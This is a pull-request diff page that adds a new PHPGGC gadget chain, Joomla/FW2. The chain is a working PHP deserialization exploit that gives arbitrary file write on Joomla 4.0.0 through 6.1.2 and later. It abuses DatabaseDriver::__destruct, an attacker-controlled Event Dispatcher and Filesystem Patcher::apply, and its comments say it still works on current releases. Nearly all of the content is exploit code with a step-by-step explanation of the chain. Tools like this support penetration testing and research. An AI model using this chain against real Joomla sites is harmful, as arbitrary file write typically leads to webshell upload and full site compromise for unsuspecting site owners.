Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
29 changes: 29 additions & 0 deletions gadgetchains/Joomla/FW/2/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
<?php

namespace GadgetChain\Joomla;

class FW2 extends \PHPGGC\GadgetChain\FileWrite
{
public static $version = '4.0.0 <= 6.1.2+';
public static $vector = '__destruct';
public static $author = 'joaovarelas';
public static $information =
'File write via Joomla\\Database\\DatabaseDriver::__destruct(). Unlike ' .
'Joomla/FW1 (Log\\Logger\\FormattedtextLogger, fixed in 5.2.2 by a ' .
'__wakeup guard), this chain relies on the Database, Event and ' .
'Filesystem framework packages and still works on current releases. ' .
'MysqliDriver::disconnect() dispatches an onAfterDisconnect event ' .
'through an attacker-controlled Event\\Dispatcher, whose untyped ' .
'$listeners invoke Filesystem\\Patcher::apply() -> File::write().';

public function generate(array $parameters)
{
$path = $parameters['remote_path'];
$data = $parameters['data'];

$patcher = new \Joomla\Filesystem\Patcher($path, $data);
$dispatcher = new \Joomla\Event\Dispatcher([$patcher, 'apply']);

return new \Joomla\Database\Mysqli\MysqliDriver($dispatcher);
}
}
83 changes: 83 additions & 0 deletions gadgetchains/Joomla/FW/2/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
<?php

/*
* Joomla file-write chain, independent of the FormattedtextLogger gadget used
* by Joomla/FW/1 (which was neutralised in Joomla 5.2.2 by a __wakeup guard,
* https://github.com/joomla/joomla-cms/pull/44428).
*
* Kickoff: Joomla\Database\DatabaseDriver::__destruct()
* -> disconnect() [safe no-op when connection & statement are null]
* -> dispatchEvent(new ConnectionEvent('onAfterDisconnect', $this))
* -> $this->dispatcher->dispatch('onAfterDisconnect', $event)
*
* Pivot: Joomla\Event\Dispatcher::dispatch()
* foreach ($this->listeners[$name] as $listener) $listener($event);
* $listeners is untyped, so a plain [ [Patcher, 'apply'] ] callable
* array is accepted (no ListenersPriorityQueue needed).
*
* Sink: Joomla\Filesystem\Patcher::apply()
* foreach ($this->destinations as $file => $content)
* File::write($file, implode("\n", $content));
* sources / removals / patches are empty so only the write runs.
*
* MysqliDriver is used as the concrete driver because its disconnect() path is
* a clean no-op with a null connection; PDO drivers are avoided as PdoDriver
* defines a __wakeup() that interferes.
*/

namespace Joomla\Database
{
// $dispatcher is a private property brought in via DispatcherAwareTrait,
// which PHP mangles as private-owned-by-DatabaseDriver. Declaring it here
// (with MysqliDriver extending this class) reproduces that exact name.
class DatabaseDriver
{
private $dispatcher;
protected $connection = null;
protected $statement = null;

public function __construct($dispatcher)
{
$this->dispatcher = $dispatcher;
}
}
}

namespace Joomla\Database\Mysqli
{
class MysqliDriver extends \Joomla\Database\DatabaseDriver
{
}
}

namespace Joomla\Event
{
class Dispatcher
{
protected $events = [];
protected $listeners;

public function __construct($listener)
{
// ConnectionEvent name dispatched by DatabaseDriver::disconnect().
$this->listeners = ['onAfterDisconnect' => [$listener]];
}
}
}

namespace Joomla\Filesystem
{
class Patcher
{
protected $sources = [];
protected $destinations;
protected $removals = [];
protected $patches = [];

public function __construct($path, $data)
{
// apply() does implode("\n", $content), so wrap content in an array.
$this->destinations = [$path => [$data]];
}
}
}